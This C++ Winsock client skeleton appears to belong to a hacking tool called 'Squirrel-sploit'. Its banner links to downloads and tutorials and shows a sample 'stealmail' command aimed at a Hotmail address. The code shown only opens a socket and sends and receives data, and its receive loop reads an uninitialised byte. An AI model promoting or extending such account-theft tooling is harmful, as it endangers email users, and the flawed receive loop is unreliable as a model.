#include <stdio.h>
#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>
#pragma comment(lib, "wsock32.lib")
using namespace std;
#define SERVER_PORT 80
void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();
WORD sockVersion;
WSADATA wsaData;
int sock;
struct sockaddr_in rserver;
int createConnection(string serverIP, int port)
{
int result = 0, len = 0;
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ( "error: socket()\n" );
result = 1;
}
rserver.sin_family = AF_INET;
rserver.sin_port = htons(port);
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
memset (&rserver.sin_zero, 0, 8);
len = sizeof ( struct sockaddr_in);
if ((connect(sock, ( struct sockaddr *)&rserver, sizeof ( struct sockaddr_in))) == -1)
{
perror ( "error: connect()\n" );
result = 1;
}
return result;
}
void header()
{
printf ( "________________________________________________________\n" );
printf ( " ___ _ _ _ _ _ \n" );
printf ( " / __| __ _ _ _(_)_ _ _ _ ___| |___ ____ __| |___(_) |_ \n" );
printf ( " \__ \/ _` | || | | '_| '_/ -_) |___(_-< '_ \ / _ \ | _|\n" );
printf ( " |___/\__, |\_,_|_|_| |_| \___|_| /__/ .__/_\___/_|\__|\n" );
printf ( " |_| |_| \n" );
printf ( "\n" );
printf ( "_________________________________________________________\n\n" );
printf ( "Download : sourceforge.net/projects/squirrelsploit/ \n\n" );
printf ( "Tutorial (English): youtube.com/watch?v=zfsBXz3lmRg \n\n" );
printf ( " (French) : youtube.com/watch?v=X_HGCXajyVA \n\n" );
printf ( "set> stealmail xxxx@hotmail.com \n" );
}
int sendTransmission(string message)
{
int bytes_sent = 0;
bytes_sent = send(sock, message.c_str(), message.length(), 0);
if (bytes_sent < 0)
{
perror ( "error: send()\n" );
exit (1);
}
return bytes_sent;
}
string recvTransmission()
{
string result;
char *c = new char [1];
int bytes_recv = 0;
while (c[0] != NULL)
{
bytes_recv = recv(sock, c, 1, 0);
if (bytes_recv < 0)
{
perror ( "error: recv()\n" );
}
result += c[0];
}
return result;
}
void cleanUp()
{
closesocket(sock);
WSACleanup();
}
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